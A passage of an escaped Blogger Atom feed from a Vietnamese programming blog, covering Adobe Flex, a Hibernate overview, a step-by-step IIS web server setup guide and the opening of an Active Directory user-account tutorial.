kết dữ liệu cấp doanh nghiệp.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;2. S&lt;/b&gt;&lt;b&gt;ức mạnh của Flex&lt;/b&gt;&lt;/p&gt;  &lt;div class="object-center embedded_object"&gt;&lt;div class="content-view-embed"&gt; &lt;div class="class-image"&gt;     &lt;div class="attribute-image"&gt;                                         &lt;img src="http://www.itaexpress.com.vn/var/ita/storage/images/tin_ita/cong_ngh_k_thu_t_s/tin_h_c/flex_t_ng_lai_c_a_ria/untitled_1_jpg/24348-1-vie-VN/untitled_1_jpg.jpg" style="border: 0px none ;" alt="" title="" width="400" height="371" /&gt;                            &lt;/div&gt;       &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Các công cụ trong Flex Builder và Flex Data Services đã đơn giản hoá việc phát triển ứng dụng và làm cho bản thân các ứng dụng này hoạt động tốt hơn. Các nhà phát triển cũng không phải bỏ tiền ra để sử dụng thành phần phát triển ứng dụng này. Flex SDK miễn phí bao gồm tất cả công cụ chương trình biên dịch, chương trình gỡ rối, và các mã cần thiết để tạo các ứng dụng Flex. Hơn nữa, giờ đây Flex SDK cũng có thể dùng để tạo các ứng dụng hoạt động độc lập mà không cần có sự hỗ trợ của máy chủ.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Điểm mạnh&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Khác với các phiên bản Flex trước đây, Flex 2.0 đã được cải tiến rất nhiều cả về tính năng và giao diện làm việc. Với Flex 2.0, người dùng khả năng chuyển đổi giữa thiết kế theo phương pháp kéo-thả và môi trường viết mã lệnh cho phép xây dựng từng phần của ứng dụng trong môi trường thích hợp nhất. Chẳng hạn, với khung nhìn thiết kế, người ta có thể kéo và thả các thành phần để bố cục ứng dụng rồi nhanh chóng xây dựng các phần trình diễn cơ bản cho ứng dụng. Trong khung nhìn mã lệnh, tất cả các trợ giúp viết mã cần thiết đều có sẵn để giúp hiệu chỉnh trực tiếp mã ứng dụng, thông tin định dạng (stylesheet) và các mã định nghĩa riêng của Flex như ActionScripts hay MXML.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Điểm yếu&lt;/b&gt;&lt;/p&gt;  &lt;p&gt; Điểm yếu Flex Builder lại chỉ tương thích duy nhất với môi trường Windows, điều mà người ta ít thấy ở các sản phẩm của hãng Adobe .Mặc dù Flex builder được phát triển trên nền tảng Eclipse – nền tảng được thiết kế để thực thi trên nhiều môi trường khác nhau và có FDS rất mạnh mẽ.&lt;br /&gt;&amp;shy;&amp;shy;Mặc dù việc tạo ra các ứng dụng Flex là khá dễ dàng đối với các nhà phát triển đã quen với lập trình ứng dụng Web và dịch vụ Web, Flex vẫn có một số thành phần khá phức tạp đối với các lập trình viên chưa thành thạo. Tuy vậy, bộ công cụ hỗ trợ cho lập trình viên của Flex khá mạnh với các ví dụ mẫu, hướng dẫn giải quyết tình huống trong từng hoàn cảnh cùng các trợ giúp khác giúp người dùng dễ dàng vượt qua các khó khăn trong quá trình phát triển ứng dụng Flex.&lt;br /&gt;Với những gì hiện có, Flex xứng đáng được vinh danh tại 2007 Technology of the Year Awards . Tương lai của RIA cần những cú huých như thế này để ngày càng phát triển lên những tầng cao mới. Flex đã mang lại bước tiến nhảy vọt cho RIA nói riêng và IT thế giới nói chung.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Võ Quân - &lt;a href="http://www.itaexpress.com.vn/tin_ita/cong_ngh_k_thu_t_s/tin_h_c/flex_t_ng_lai_c_a_ria"&gt;http://www.itaexpress.com.vn&lt;/a&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;             &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8352687127849167355?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8352687127849167355/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/10/flex-tng-lai-ca-ria.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8352687127849167355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8352687127849167355'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/10/flex-tng-lai-ca-ria.html' title='Flex - Tương lai của RIA'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8136197939868457840</id><published>2008-04-25T00:53:00.003+07:00</published><updated>2008-04-25T00:59:17.767+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='busy'/><title type='text'>Sorry all!</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Now, I'm very busy with my job, so you may (or may not) have noticed that I haven't really been around recently. No new posts, not answering comments or emails, etc......&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8136197939868457840?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8136197939868457840/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/04/sorry-all.html#comment-form' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8136197939868457840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8136197939868457840'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/04/sorry-all.html' title='Sorry all!'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-5201163035541821206</id><published>2007-10-25T21:41:00.000+07:00</published><updated>2007-10-25T21:41:48.945+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Frameworks Collection'/><title type='text'>Hibernate</title><content type='html'>&lt;h1&gt;Relational Persistence for Java and .NET&lt;/h1&gt;&lt;img style="float: left; margin-right: 10px; margin-bottom: 5px;" src="http://www.hibernate.org/tpl/hibernate3/img/hibernate_icon.gif" alt="" _base_href="http://www.hibernate.org/" border="0" height="120" width="120" /&gt;Hibernate is a powerful, high performance object/relational persistence and query service. Hibernate lets you develop persistent classes following object-oriented idiom - including association, inheritance, polymorphism, composition, and collections. Hibernate allows you to express queries in its own portable SQL extension (HQL), as well as in native SQL, or with an object-oriented Criteria and Example API.&lt;p&gt;Unlike many other persistence solutions, Hibernate does not hide the power of SQL from you and guarantees that your investment in relational technology and knowledge is as valid as always. The &lt;a href="http://www.gnu.org/copyleft/lesser.html" _base_href="http://www.hibernate.org/"&gt;LGPL&lt;/a&gt; open source license allows the use of Hibernate and NHibernate in open source and commercial projects.&lt;/p&gt;&lt;p&gt;Hibernate is a Professional Open Source project and a critical component of the &lt;a href="http://www.jboss.com/products/index" _base_href="http://www.hibernate.org/"&gt;JBoss Enterprise Middleware System&lt;/a&gt; (JEMS) suite of products. JBoss, a division of &lt;a href="http://www.redhat.com/" _base_href="http://www.hibernate.org/"&gt;Red Hat&lt;/a&gt;, offers a range of &lt;a href="http://www.hibernate.org/149.html" _base_href="http://www.hibernate.org/"&gt;24x7 Professional Support, Consulting, and Training services&lt;/a&gt; to assist you with Hibernate. &lt;/p&gt; &lt;table style="width: 580px;" _base_href="http://www.hibernate.org/" align="center" border="0"&gt;&lt;tbody _base_href="http://www.hibernate.org/"&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt;&lt;img style="width: 509px; height: 174px;" usemap="#hibernate_stacks" src="http://www.hibernate.org/hib_images/hibernate_stacks.gif" alt="" _base_href="http://www.hibernate.org/" border="0" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;table style="width: 648px; height: 362px;" _base_href="http://www.hibernate.org/" align="center" border="0" cellpadding="5"&gt;&lt;tbody _base_href="http://www.hibernate.org/"&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/344.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Core&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Hibernate for Java, native APIs and XML mapping metadata&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://hibernate.org/397.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Annotations&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Map classes with JDK 5.0 annotations&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://hibernate.org/397.html" _base_href="http://www.hibernate.org/"&gt;Hibernate EntityManager&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Standard Java Persistence API for Java SE and Java EE&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/414.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Shards&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Horizontal data partitioning framework&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/412.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Validator&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Data integrity annotations and validation API&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/410.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Search&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Hibernate integration with Lucene for indexing and querying data&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/255.html" _base_href="http://www.hibernate.org/"&gt;Hibernate Tools&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Development tools for Eclipse and Ant&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://www.hibernate.org/343.html" _base_href="http://www.hibernate.org/"&gt;NHibernate&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; The NHibernate service for the .NET framework&lt;/td&gt;&lt;/tr&gt;&lt;tr _base_href="http://www.hibernate.org/" valign="top"&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; &lt;strong&gt;&lt;a href="http://labs.jboss.com/portal/jbossseam/" _base_href="http://www.hibernate.org/"&gt;JBoss Seam&lt;/a&gt;&lt;/strong&gt; &lt;/td&gt;&lt;td colspan="1" _base_href="http://www.hibernate.org/"&gt; Framework for JSF, Ajax, and EJB 3.0/Java EE 5.0 applications&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hibernate.org/"&gt;http://www.hibernate.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5201163035541821206?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/5201163035541821206/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/relational-persistence-for-java-and-net.html#comment-form' title='6 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5201163035541821206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5201163035541821206'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/relational-persistence-for-java-and-net.html' title='Hibernate'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3634251577031098129</id><published>2007-10-22T21:49:00.000+07:00</published><updated>2007-10-22T21:49:58.640+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Lập Trình Web'/><title type='text'>Hướng dẫn cài đặt webserver IIS</title><content type='html'>&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;strong&gt;&lt;a style="color: rgb(0, 0, 255); text-decoration: none;" name="1.hương dan cai dat webserver IIS"&gt;                                 &lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;Bạn vào menu Start -&gt; Control Panel -&gt; Add/Remove Program -&gt; Add/Remove Windows Components . Sau khi hộp thoại Add/Remove Windows Components xuất hiện, bạn kéo thanh trượt xuống dưới đến phần Internet Informations Services (15.7 MB) bạn đánh dấu check vào đó để chọn cài đặt IIS vào máy của bạn. Rồi nhấp Next để Windows cài đặt IIS cho bạn, bạn sẽ thấy có yêu cầu cho CD Windows XP vào máy. Hãy lấy đĩa CD mà bạn cài HĐH Windows trên máy của mình cho vào ổ CD, đợi khỏang 5 phút cho quá trình cài đặt kết thúc.&lt;br /&gt;Như vậy trình Webserver IIS đã được cài vào máy của bạn rồi đó.&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Sau                                  khi đã hoàn thành việc cài đặt IIS, vào Control                                  panel, Administrative tool, khởi động Interner                                  Services Manager:&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs1.gif" border="0" height="342" width="484" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;1.                                  Click chuột phải vào tên máy chủ (gốc của cây                                  được đánh dấu bởi dấu hoa thị), chọn New,                                  Website, cửa sổ Website Creation Wizard hiện ra,                                  chọn Next.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;2.                                  Đánh vào phần mô tả của Website của bạn và chọn                                  Next (Ví dụ: dyndns)&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs2.gif" border="0" height="355" width="490" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;3.                                  Trong trường IP address chọn All                                  Unssigned.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;4.                                  Trong trường port chọn port 80 hoặc port khác                                  nếu bạn sử dụng port thay thế (hoặc nếu ISP của                                  bạn khóa port 80).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;5.                                  Trong trường Header gõ vào tên miền (ví dụ:                                  dyndns.vnnic.net.vn) và chọn Next.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs3.gif" border="0" height="401" width="485" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: left;"&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;6.                                  Chọn vào Browser và trỏ tới thư mục nơi lưu trữ                                  các file của Website cho tên miền (domain) trên                                  (ví dụ: C:\Document and                                  Setting\Administrator\Mydocument\Website\Dyndns).                                  Đảm bảo chắc chắn rằng hộp thoại “Allow                                  anonymous access to website” đã được chọn nếu                                  bạn muốn tất cả người dùng đều nhìn thấy website                                  của bạn. Chọn Next.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: left;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs4.gif" border="0" height="398" width="482" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;7.                                  Có thể cấu hình thêm một số tuỳ chọn khác tuỳ                                  theo yêu cầu của bạn:&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs5.gif" border="0" height="383" width="477" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;8.                                  Chọn Finish để kết thúc quá trình thiết lập                                  Website.&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs6.gif" border="0" height="376" width="483" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bạn                                  có thể lặp lại các bước này để thiết lập các                                  Website khác.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bây                                  giờ tên Website đã xuất hiện trong danh sách                                  server.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;-                                  Để kiểm tra xem click chuột phải lên tên Website                                  và chọn vào Browse hoặc bật cửa sổ Internet                                  Explore (IE) lên và đánh tên miền của bạn vào                                  trường URL (ví dụ:                                  dyndns.vnnic.net.vn).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs7.gif" border="0" height="390" width="485" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bạn                                  có thể lặp lại chu trình trên để thiết lập nhiều                                  Website mà bạn muốn bằng IIS.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Cấu                                  hình và sửa lỗi cho các Website:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Nếu                                  bạn không nhìn thấy Website của mình hoặc chỉ                                  nhìn thấy cửa sổ login bạn sẽ phải cấu hình lại                                  cho chính xác quyền truy cập vào Website của                                  mình hoặc file index mà bạn sẽ dùng cho Website                                  của bạn.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;1.                                  Click chuột phải vào tên Website nằm trong danh                                  sách server mà bạn mới thiết lập và chọn                                  Property từ menu đó.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs8.gif" border="0" height="470" width="494" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: left;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;2.                                  Chọn vào tad Directory Security và chọn vào mục                                  Edit “Anonymous Access …”.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;3.                                  Đảm bảo chắc chắn rằng Anonymous Access property                                  được chọn và click chuột vào nút  Edit.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;4.                                  Xem xét xem tài khoản của người sử dụng có được                                  quyền truy cập vào máy tính hay thư mục Website                                  của bạn không.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Để                                  chắc chắn bạn có vấn đề về quyền truy nhập, hãy                                  thử sử dụng tài khoản Administrator ở đây.                                  &lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Sau                                  khi đã giải quyết vấn đề về quyền truy nhập                                  nhưng bạn vẫn nhận được thông báo “Directory                                  Listing Denied”, chắc chắn bạn đã trỏ Website                                  của bạn tới file index không phù hợp với file                                  index được phép hoặc đã đăng ký cho Website của                                  bạn.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;1.                                  Click chuột phải vào tên Website nằm trong danh                                  sách server của bạn mà bạn mới thiết lập và chọn                                  Property từ menu đó.&lt;/span&gt;&lt;/p&gt;                                 &lt;p&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;2.                                  Click vào Document tab&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs9.gif" border="0" height="454" width="498" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;3.                                  Click Add và đánh vào tên file index của bạn rồi                                  ấn OK (ví dụ: Website dyndns ở trên có file                                  index dạng index.htm).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;4.                                  Ấn tiếp OK để kết thúc.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bây                                  giờ thử mở Browse và gõ vào trường URL tên miền                                  của bạn, nếu cấu hình chính xác Website sẽ                                  chạy.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Lặp                                  lại chu trình trên để cấu hình cho tất cả các                                  Website sử dụng IIS.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3634251577031098129?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3634251577031098129/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/10/hng-dn-ci-t-webserver-iis.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3634251577031098129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3634251577031098129'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/10/hng-dn-ci-t-webserver-iis.html' title='Hướng dẫn cài đặt webserver IIS'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8152718155286158893</id><published>2007-10-21T10:20:00.000+07:00</published><updated>2007-10-21T10:20:07.124+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Basic Network'/><title type='text'>Kiến thức cơ bản về mạng: Phần 12 – Quản lý tài khoản người dùng</title><content type='html'>&lt;span class="bodytxt"&gt;&lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;Trong phần trước của loạt bài này, chúng tôi đã giới thiệu cho các bạn về Active Directory Users và Computers console. Mặc dù trong phần đó đã giới thiệu cách kết nối đến miền cần chọn bằng giao diện này, nhưng còn một vấn đề mà chúng tôi muốn giới thiệu tiếp đó là cách sử dụng giao diện điều khiển này trong các nhiệm vụ quản lý hàng ngày. Trong phần này, chúng tôi sẽ giới thiệu cho các bạn một số kỹ thuật cơ bản cho việc bảo quản tài khoản người dùng.&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Tạo một tài khoản người dùng (User Account)&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Một trong những sử dụng thấy nhiều nhất ở Active Directory Users trong Computers console là tạo các tài khoản người dùng mới. Để thực hiện điều đó, bạn mở mục tương ứng với miền chứa người dùng, chọn mục Users. Sau khi thực hiện như vậy, một panel chi tiết của giao diện sẽ hiển thị tất cả tài khoản người dùng đang 